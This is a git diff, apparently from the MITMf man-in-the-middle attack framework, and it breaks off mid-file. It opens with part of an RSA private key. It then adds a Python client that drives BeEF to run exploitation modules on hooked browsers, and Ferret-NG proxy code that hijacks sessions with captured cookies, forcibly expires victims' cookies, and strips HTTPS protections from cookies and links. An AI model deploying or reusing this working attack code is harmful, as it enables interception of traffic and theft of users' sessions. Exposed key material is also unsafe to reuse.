+1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY +kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U +YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R +FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i +erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ +IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS +nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL +LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9 +cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1 +5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf +s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje +ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2 +VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes +AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35 +HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf +VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm +kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35 +f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp +MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC +-----END RSA PRIVATE KEY----- diff --git a/libs/responder/__init__.py b/core/__init__.py similarity index 100% rename from libs/responder/__init__.py rename to core/__init__.py diff --git a/core/banners.py b/core/banners.py new file mode 100644 index 0000000..a463ffa --- /dev/null +++ b/core/banners.py @@ -0,0 +1,82 @@ +# -*- coding: utf-8 -*- + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import random + +banner1 = """ + __ __ ___ .--. __ __ ___ +| |/ `.' `. |__| | |/ `.' `. _.._ +| .-. .-. '.--. .| | .-. .-. ' .' .._| +| | | | | || | .' |_ | | | | | | | ' +| | | | | || | .' || | | | | | __| |__ +| | | | | || |'--. .-'| | | | | ||__ __| +| | | | | || | | | | | | | | | | | +|__| |__| |__||__| | | |__| |__| |__| | | + | '.' | | + | / | | + `'-' |_| +""" + +banner2= """ + ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ +▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ +▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ +▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░ +▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░ +░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░ +░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ +░ ░ ▒ ░ ░ ░ ░ ░ ░ + ░ ░ ░ +""" + +banner3 = """ + ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ + ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ + ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ + ███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄ + ███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ +""" + +banner4 = """ +███╗ ███╗██╗████████╗███╗ ███╗███████╗ +████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝ +██╔████╔██║██║ ██║ ██╔████╔██║█████╗ +██║╚██╔╝██║██║ ██║ ██║╚██╔╝██║██╔══╝ +██║ ╚═╝ ██║██║ ██║ ██║ ╚═╝ ██║██║ +╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ +""" + +banner5 = """ +@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ +@@@@@@@@@@@ @@@ @@@@@@@ @@@@@@@@@@@ @@@@@@@@ +@@! @@! @@! @@! @@! @@! @@! @@! @@! +!@! !@! !@! !@! !@! !@! !@! !@! !@! +@!! !!@ @!@ !!@ @!! @!! !!@ @!@ @!!!:! +!@! ! !@! !!! !!! !@! ! !@! !!!!!: +!!: !!: !!: !!: !!: !!: !!: +:!: :!: :!: :!: :!: :!: :!: +::: :: :: :: ::: :: :: + : : : : : : : +""" + +def get_banner(): + return random.choice([banner1, banner2, banner3, banner4, banner5]) diff --git a/core/beefapi.py b/core/beefapi.py new file mode 100644 index 0000000..e427619 --- /dev/null +++ b/core/beefapi.py @@ -0,0 +1,367 @@ +#! /usr/bin/env python2.7 + +# BeEF-API - A Python API for BeEF (The Browser Exploitation Framework) http://beefproject.com/ + +# Copyright (c) 2015-2016 Marcello Salvati - byt3bl33d3r@gmail.com +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import requests +import json + +from UserList import UserList + +class BeefAPI: + + def __init__(self, opts=[]): + self.host = opts.get('host') or "127.0.0.1" + self.port = opts.get('port') or "3000" + self.token = None + self.url = "http://{}:{}/api/".format(self.host, self.port) + self.login_url = self.url + "admin/login" + + def login(self, username, password): + try: + auth = json.dumps({"username": username, "password": password}) + r = requests.post(self.login_url, data=auth) + data = r.json() + + if (r.status_code == 200) and (data["success"]): + self.token = data["token"] #Auth token + + self.hooks_url = "{}hooks?token={}".format(self.url, self.token) + self.modules_url = "{}modules?token={}".format(self.url, self.token) + self.logs_url = "{}logs?token={}".format(self.url, self.token) + self.are_url = "{}autorun/rule/".format(self.url) + self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) + + return True + elif r.status_code != 200: + return False + + except Exception as e: + print "[BeEF-API] Error logging in to BeEF: {}".format(e) + + @property + def hooked_browsers(self): + r = requests.get(self.hooks_url) + return Hooked_Browsers(r.json(), self.url, self.token) + + @property + def dns(self): + r = requests.get(self.dns_url) + return DNS(r.json(), self.url, self.token) + + @property + def logs(self): + logs = [] + r = requests.get(self.logs_url) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + @property + def modules(self): + modules = ModuleList([]) + r = requests.get(self.modules_url) + for k,v in r.json().iteritems(): + modules.append(Module(v, self.url, self.token)) + return modules + + @property + def are_rules(self): + return ARE_Rules(self.are_url, self.token) + +class ModuleList(UserList): + + def __init__(self, mlist): + self.data = mlist + + def findbyid(self, m_id): + for m in self.data: + if m_id == m.id: + return m + + def findbyname(self, m_name): + pmodules = ModuleList([]) + for m in self.data: + if (m.name.lower().find(m_name.lower()) != -1) : + pmodules.append(m) + return pmodules + +class SessionList(UserList): + + def __init__(self, slist): + self.data = slist + + def findbysession(self, session): + for s in self.data: + if s.session == session: + return s + + def findbyos(self, os): + res = SessionList([]) + for s in self.data: + if (s.os.lower().find(os.lower()) != -1): + res.append(s) + return res + + def findbyip(self, ip): + res = SessionList([]) + for s in self.data: + if ip == s.ip: + res.append(s) + return res + + def findbyid(self, s_id): + for s in self.data: + if s.id == s_id: + return s + + def findbybrowser(self, browser): + res = SessionList([]) + for s in self.data: + if browser == s.name: + res.append(s) + return res + + def findbybrowser_v(self, browser_v): + res = SessionList([]) + for s in self.data: + if browser_v == s.version: + res.append(s) + return res + + def findbypageuri(self, uri): + res = SessionList([]) + for s in self.data: + if uri in s.page_uri: + res.append(s) + return res + + def findbydomain(self, domain): + res = SessionList([]) + for s in self.data: + if domain in s.domain: + res.append(s) + return res + +class ARE_Rule(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + for k,v in data.iteritems(): + setattr(self, k, v) + + self.modules = json.loads(self.modules) + + def trigger(self): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + + def delete(self): + r = requests.get('{}/delete/{}?token={}'.format(self.url, self.id, self.token)) + return r.json() + +class ARE_Rules(object): + + def __init__(self, url, token): + self.url = url + self.token = token + + def list(self): + rules = [] + r = requests.get('{}/list/all?token={}'.format(self.url, self.token)) + data = r.json() + if (r.status_code == 200) and (data['success']): + for rule in data['rules']: + rules.append(ARE_Rule(rule, self.url, self.token)) + + return rules + + def add(self, rule_path): + if rule_path.endswith('.json'): + headers = {'Content-Type': 'application/json; charset=UTF-8'} + with open(rule_path, 'r') as rule: + payload = rule.read() + r = requests.post('{}/add?token={}'.format(self.url, self.token), data=payload, headers=headers) + return r.json() + + def trigger(self, rule_id): + r = requests.get('{}/trigger/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() + + def delete(self, rule_id): + r = requests.get('{}/delete/{}?token={}'.format(self.url, rule_id, self.token)) + return r.json() + +class Module(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + for k,v in data.iteritems(): + setattr(self, k, v) + + @property + def options(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['options'] + + @property + def description(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['description'] + + def run(self, session, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) + return r.json() + + def multi_run(self, options={}, hb_ids=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) + r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def results(self, session, cmd_id): + r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) + return r.json() + +class Log(object): + + def __init__(self, log_dict): + for k,v in log_dict.iteritems(): + setattr(self, k, v) + +class DNS_Rule(object): + + def __init__(self, rule, url, token): + self.url = url + self.token = token + + for k,v in rule.iteritems(): + setattr(self, k, v) + + def delete(self): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) + return r.json() + +class DNS(object): + + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token + + @property + def ruleset(self): + ruleset = [] + r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) + for rule in r.json()['ruleset']: + ruleset.append(DNS_Rule(rule, self.url, self.token)) + return ruleset + + def add(self, pattern, resource, response=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) + r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def delete(self, rule_id): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) + return r.json() + +class Hooked_Browsers(object): + + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token + + @property + def online(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['online'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions + + @property + def offline(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['offline'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions + +class Session(object): + + def __init__(self, session, data, url, token): + self.session = session + self.data = data + self.url = url + self.token = token + + self.domain = self.get_property('domain') + self.id = self.get_property('id') + self.ip = self.get_property('ip') + self.name = self.get_property('name') #Browser name + self.os = self.get_property('os') + self.page_uri = self.get_property('page_uri') + self.platform = self.get_property('platform') #Ex. win32 + self.port = self.get_property('port') + self.version = self.get_property('version') #Browser version + + @property + def details(self): + r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) + return r.json() + + @property + def logs(self): + logs = [] + r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + def update(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/hooks/update/{}?token={}".format(self.url, self.session, self.token), headers=headers, data=payload) + return r.json() + + def run(self, module_id, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) + return r.json() + + def multi_run(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"hb": self.session, "modules":[options]}) + r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def get_property(self, key): + for k,v in self.data['hooked-browsers'].iteritems(): + for l,s in v.iteritems(): + if self.session == s['session']: + return s[key] diff --git a/core/configwatcher.py b/core/configwatcher.py new file mode 100644 index 0000000..95716de --- /dev/null +++ b/core/configwatcher.py @@ -0,0 +1,44 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import pyinotify +import threading +from configobj import ConfigObj + +class ConfigWatcher(pyinotify.ProcessEvent, object): + + @property + def config(self): + return ConfigObj("./config/mitmf.conf") + + def process_IN_MODIFY(self, event): + self.on_config_change() + + def start_config_watch(self): + wm = pyinotify.WatchManager() + wm.add_watch('./config/mitmf.conf', pyinotify.IN_MODIFY) + notifier = pyinotify.Notifier(wm, self) + + t = threading.Thread(name='ConfigWatcher', target=notifier.loop) + t.setDaemon(True) + t.start() + + def on_config_change(self): + """ We can subclass this function to do stuff after the config file has been modified""" + pass diff --git a/core/ferretng/ClientRequest.py b/core/ferretng/ClientRequest.py new file mode 100644 index 0000000..226f6a2 --- /dev/null +++ b/core/ferretng/ClientRequest.py @@ -0,0 +1,171 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import urlparse +import logging +import os +import sys +import random +import re + +from twisted.web.http import Request +from twisted.web.http import HTTPChannel +from twisted.web.http import HTTPClient + +from twisted.internet import ssl +from twisted.internet import defer +from twisted.internet import reactor +from twisted.internet.protocol import ClientFactory + +from core.logger import logger +from ServerConnectionFactory import ServerConnectionFactory +from ServerConnection import ServerConnection +from SSLServerConnection import SSLServerConnection +from URLMonitor import URLMonitor +from CookieCleaner import CookieCleaner +from DnsCache import DnsCache + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_ClientRequest", formatter) + +class ClientRequest(Request): + + ''' This class represents incoming client requests and is essentially where + the magic begins. Here we remove the client headers we dont like, and then + respond with either favicon spoofing, session denial, or proxy through HTTP + or SSL to the server. + ''' + + def __init__(self, channel, queued, reactor=reactor): + Request.__init__(self, channel, queued) + self.reactor = reactor + self.urlMonitor = URLMonitor.getInstance() + self.cookieCleaner = CookieCleaner.getInstance() + self.dnsCache = DnsCache.getInstance() + #self.uniqueId = random.randint(0, 10000) + + def cleanHeaders(self): + headers = self.getAllHeaders().copy() + + if 'accept-encoding' in headers: + del headers['accept-encoding'] + log.debug("[ClientRequest] Zapped encoding") + + if 'if-modified-since' in headers: + del headers['if-modified-since'] + + if 'cache-control' in headers: + del headers['cache-control'] + + if 'host' in headers: + try: + for entry in self.urlMonitor.cookies[self.urlMonitor.hijack_client]: + if headers['host'] == entry['host']: + log.info("Hijacking session for host: {}".format(headers['host'])) + headers['cookie'] = entry['cookie'] + except KeyError: + log.error("No captured sessions (yet) from {}".format(self.urlMonitor.hijack_client)) + + return headers + + def getPathFromUri(self): + if (self.uri.find("http://") == 0): + index = self.uri.find('/', 7) + return self.uri[index:] + + return self.uri + + def handleHostResolvedSuccess(self, address): + log.debug("[ClientRequest] Resolved host successfully: {} -> {}".format(self.getHeader('host'), address)) + host = self.getHeader("host") + headers = self.cleanHeaders() + client = self.getClientIP() + path = self.getPathFromUri() + url = 'http://' + host + path + self.uri = url # set URI to absolute + + if self.content: + self.content.seek(0,0) + + postData = self.content.read() + + hostparts = host.split(':') + self.dnsCache.cacheResolution(hostparts[0], address) + + if (not self.cookieCleaner.isClean(self.method, client, host, headers)): + log.debug("[ClientRequest] Sending expired cookies") + self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) + + elif self.urlMonitor.isSecureLink(client, url): + log.debug("[ClientRequest] Sending request via SSL ({})".format((client,url))) + self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) + + else: + log.debug("[ClientRequest] Sending request via HTTP") + #self.proxyViaHTTP(address, self.method, path, postData, headers) + port = 80 + if len(hostparts) > 1: + port = int(hostparts[1]) + + self.proxyViaHTTP(address, self.method, path, postData, headers, port) + + def handleHostResolvedError(self, error): + log.debug("[ClientRequest] Host resolution error: {}".format(error)) + try: + self.finish() + except: + pass + + def resolveHost(self, host): + address = self.dnsCache.getCachedAddress(host) + + if address != None: + log.debug("[ClientRequest] Host cached: {} {}".format(host, address)) + return defer.succeed(address) + else: + return reactor.resolve(host) + + def process(self): + log.debug("[ClientRequest] Resolving host: {}".format(self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] + + deferred = self.resolveHost(host) + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) + + def proxyViaHTTP(self, host, method, path, postData, headers, port): + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = ServerConnection + #self.reactor.connectTCP(host, 80, connectionFactory) + self.reactor.connectTCP(host, port, connectionFactory) + + def proxyViaSSL(self, host, method, path, postData, headers, port): + clientContextFactory = ssl.ClientContextFactory() + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory.protocol = SSLServerConnection + self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) + + def sendExpiredCookies(self, host, path, expireHeaders): + self.setResponseCode(302, "Moved") + self.setHeader("Connection", "close") + self.setHeader("Location", "http://" + host + path) + + for header in expireHeaders: + self.setHeader("Set-Cookie", header) + + self.finish() diff --git a/core/ferretng/CookieCleaner.py b/core/ferretng/CookieCleaner.py new file mode 100644 index 0000000..892fce0 --- /dev/null +++ b/core/ferretng/CookieCleaner.py @@ -0,0 +1,103 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import string + +class CookieCleaner: + '''This class cleans cookies we haven't seen before. The basic idea is to + kill sessions, which isn't entirely straight-forward. Since we want this to + be generalized, there's no way for us to know exactly what cookie we're trying + to kill, which also means we don't know what domain or path it has been set for. + + The rule with cookies is that specific overrides general. So cookies that are + set for mail.foo.com override cookies with the same name that are set for .foo.com, + just as cookies that are set for foo.com/mail override cookies with the same name + that are set for foo.com/ + + The best we can do is guess, so we just try to cover our bases by expiring cookies + in a few different ways. The most obvious thing to do is look for individual cookies + and nail the ones we haven't seen coming from the server, but the problem is that cookies are often + set by Javascript instead of a Set-Cookie header, and if we block those the site + will think cookies are disabled in the browser. So we do the expirations and whitlisting + based on client,server tuples. The first time a client hits a server, we kill whatever + cookies we see then. After that, we just let them through. Not perfect, but pretty effective. + + ''' + + _instance = None + + def __init__(self): + self.cleanedCookies = set(); + self.enabled = False + + @staticmethod + def getInstance(): + if CookieCleaner._instance == None: + CookieCleaner._instance = CookieCleaner() + + return CookieCleaner._instance + + def setEnabled(self, enabled): + self.enabled = enabled + + def isClean(self, method, client, host, headers): + if method == "POST": return True + if not self.enabled: return True + if not self.hasCookies(headers): return True + + return (client, self.getDomainFor(host)) in self.cleanedCookies + + def getExpireHeaders(self, method, client, host, headers, path): + domain = self.getDomainFor(host) + self.cleanedCookies.add((client, domain)) + + expireHeaders = [] + + for cookie in headers['cookie'].split(";"): + cookie = cookie.split("=")[0].strip() + expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) + expireHeaders.extend(expireHeadersForCookie) + + return expireHeaders + + def hasCookies(self, headers): + return 'cookie' in headers + + def getDomainFor(self, host): + hostParts = host.split(".") + return "." + hostParts[-2] + "." + hostParts[-1] + + def getExpireCookieStringFor(self, cookie, host, domain, path): + pathList = path.split("/") + expireStrings = list() + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + if len(pathList) > 2: + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + + host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") + + return expireStrings + + diff --git a/core/ferretng/DnsCache.py b/core/ferretng/DnsCache.py new file mode 100644 index 0000000..f839f23 --- /dev/null +++ b/core/ferretng/DnsCache.py @@ -0,0 +1,45 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +class DnsCache: + + ''' + The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. + ''' + + _instance = None + + def __init__(self): + self.customAddress = None + self.cache = {} + + @staticmethod + def getInstance(): + if DnsCache._instance == None: + DnsCache._instance = DnsCache() + + return DnsCache._instance + + def cacheResolution(self, host, address): + self.cache[host] = address + + def getCachedAddress(self, host): + if host in self.cache: + return self.cache[host] + + return None diff --git a/core/ferretng/FerretProxy.py b/core/ferretng/FerretProxy.py new file mode 100644 index 0000000..d95f786 --- /dev/null +++ b/core/ferretng/FerretProxy.py @@ -0,0 +1,24 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from twisted.web.http import HTTPChannel +from ClientRequest import ClientRequest + +class FerretProxy(HTTPChannel): + + requestFactory = ClientRequest diff --git a/core/ferretng/SSLServerConnection.py b/core/ferretng/SSLServerConnection.py new file mode 100644 index 0000000..778c73d --- /dev/null +++ b/core/ferretng/SSLServerConnection.py @@ -0,0 +1,97 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging, re, string + +from core.logger import logger +from ServerConnection import ServerConnection +from URLMonitor import URLMonitor + +formatter = logging.Formatter("%(asctime)s [Ferret-NG] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("Ferret_SSLServerConnection", formatter) + +class SSLServerConnection(ServerConnection): + + ''' + For SSL connections to a server, we need to do some additional stripping. First we need + to make note of any relative links, as the server will be expecting those to be requested + via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. + ''' + + cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) + cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) + iconExpression = re.compile(r"", re.IGNORECASE) + linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) + headExpression = re.compile(r"", re.IGNORECASE) + + def __init__(self, command, uri, postData, headers, client): + ServerConnection.__init__(self, command, uri, postData, headers, client) + self.urlMonitor = URLMonitor.getInstance() + + def getLogLevel(self): + return logging.INFO + + def getPostPrefix(self): + return "SECURE POST" + + def handleHeader(self, key, value): + if (key.lower() == 'set-cookie'): + value = SSLServerConnection.cookieExpression.sub("\g<1>", value) + + ServerConnection.handleHeader(self, key, value) + + def stripFileFromPath(self, path): + (strippedPath, lastSlash, file) = path.rpartition('/') + return strippedPath + + def buildAbsoluteLink(self, link): + absoluteLink = "" + + if ((not link.startswith('http')) and (not link.startswith('/'))): + absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link + + log.debug("[SSLServerConnection] Found path-relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute path-relative link: " + absoluteLink) + elif not link.startswith('http'): + absoluteLink = "http://"+self.headers['host']+link + + log.debug("[SSLServerConnection] Found relative link in secure transmission: " + link) + log.debug("[SSLServerConnection] New Absolute link: " + absoluteLink) + + if not absoluteLink == "": + absoluteLink = absoluteLink.replace('&', '&') + self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); + + def replaceCssLinks(self, data): + iterator = re.finditer(SSLServerConnection.cssExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(1)) + + return data + + def replaceSecureLinks(self, data): + data = ServerConnection.replaceSecureLinks(self, data) + data = self.replaceCssLinks(data) + + iterator = re.finditer(SSLServerConnection.linkExpression, data) + + for match in iterator: + self.buildAbsoluteLink(match.group(10)) + + return data diff --git a/core/ferretng/ServerConnection.py b/core/ferretng/ServerConnection.py new file mode 100644 index 0000000..f35fe2b --- /dev/null +++ b/core/ferretng/ServerConnection.py @@ -0,0 +1,195 @@ +# Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati +# +# This 